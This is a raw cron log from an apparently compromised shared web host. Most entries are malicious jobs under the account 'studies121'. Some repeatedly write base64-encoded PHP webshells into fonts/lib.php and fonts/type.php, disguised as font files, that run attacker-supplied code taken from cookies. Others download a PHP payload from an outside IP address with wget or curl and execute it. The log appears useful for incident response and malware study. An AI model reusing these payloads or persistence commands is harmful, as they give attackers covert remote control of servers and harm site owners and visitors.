Aug 30 12:54:01 ip-184-168-122-23 CROND[17175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:54:01 ip-184-168-122-23 CROND[17178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:54:01 ip-184-168-122-23 CROND[17176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:55:01 ip-184-168-122-23 CROND[17272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:55:01 ip-184-168-122-23 CROND[17274]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:55:01 ip-184-168-122-23 CROND[17276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:55:01 ip-184-168-122-23 CROND[17275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:55:01 ip-184-168-122-23 CROND[17277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:55:01 ip-184-168-122-23 CROND[17278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:56:01 ip-184-168-122-23 CROND[17390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:56:01 ip-184-168-122-23 CROND[17392]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:56:01 ip-184-168-122-23 CROND[17394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:56:01 ip-184-168-122-23 CROND[17393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:56:01 ip-184-168-122-23 CROND[17395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:57:01 ip-184-168-122-23 CROND[17487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:57:01 ip-184-168-122-23 CROND[17488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:57:01 ip-184-168-122-23 CROND[17491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:57:01 ip-184-168-122-23 CROND[17490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:58:01 ip-184-168-122-23 CROND[17662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:58:01 ip-184-168-122-23 CROND[17665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:58:01 ip-184-168-122-23 CROND[17666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:58:01 ip-184-168-122-23 CROND[17664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:58:01 ip-184-168-122-23 CROND[17667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:59:01 ip-184-168-122-23 CROND[17806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:59:01 ip-184-168-122-23 CROND[17808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:59:01 ip-184-168-122-23 CROND[17812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:59:01 ip-184-168-122-23 CROND[17813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:00:01 ip-184-168-122-23 CROND[17913]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:00:01 ip-184-168-122-23 CROND[17912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:00:01 ip-184-168-122-23 CROND[17918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:00:01 ip-184-168-122-23 CROND[17923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:00:01 ip-184-168-122-23 CROND[17921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:00:01 ip-184-168-122-23 CROND[17922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:00:01 ip-184-168-122-23 CROND[17924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:00:01 ip-184-168-122-23 CROND[17925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:01:01 ip-184-168-122-23 CROND[18014]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 13:01:01 ip-184-168-122-23 CROND[18015]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 13:01:01 ip-184-168-122-23 CROND[18020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18014]: starting 0anacron
Aug 30 13:01:01 ip-184-168-122-23 CROND[18023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:01:01 ip-184-168-122-23 CROND[18022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:01:01 ip-184-168-122-23 CROND[18021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18035]: finished 0anacron
Aug 30 13:02:01 ip-184-168-122-23 CROND[18146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:02:01 ip-184-168-122-23 CROND[18148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:02:01 ip-184-168-122-23 CROND[18150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:02:01 ip-184-168-122-23 CROND[18152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:02:01 ip-184-168-122-23 CROND[18154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:03:01 ip-184-168-122-23 CROND[18260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:03:02 ip-184-168-122-23 CROND[18262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:03:02 ip-184-168-122-23 CROND[18263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:03:02 ip-184-168-122-23 CROND[18264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:04:01 ip-184-168-122-23 CROND[18338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:04:01 ip-184-168-122-23 CROND[18340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:04:01 ip-184-168-122-23 CROND[18343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:04:01 ip-184-168-122-23 CROND[18342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:04:01 ip-184-168-122-23 CROND[18341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:05:01 ip-184-168-122-23 CROND[18444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:05:01 ip-184-168-122-23 CROND[18447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:05:01 ip-184-168-122-23 CROND[18446]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:05:01 ip-184-168-122-23 CROND[18449]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 13:05:01 ip-184-168-122-23 CROND[18450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:05:01 ip-184-168-122-23 CROND[18448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:05:01 ip-184-168-122-23 CROND[18451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:06:01 ip-184-168-122-23 CROND[18623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:06:01 ip-184-168-122-23 CROND[18626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:06:01 ip-184-168-122-23 CROND[18625]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
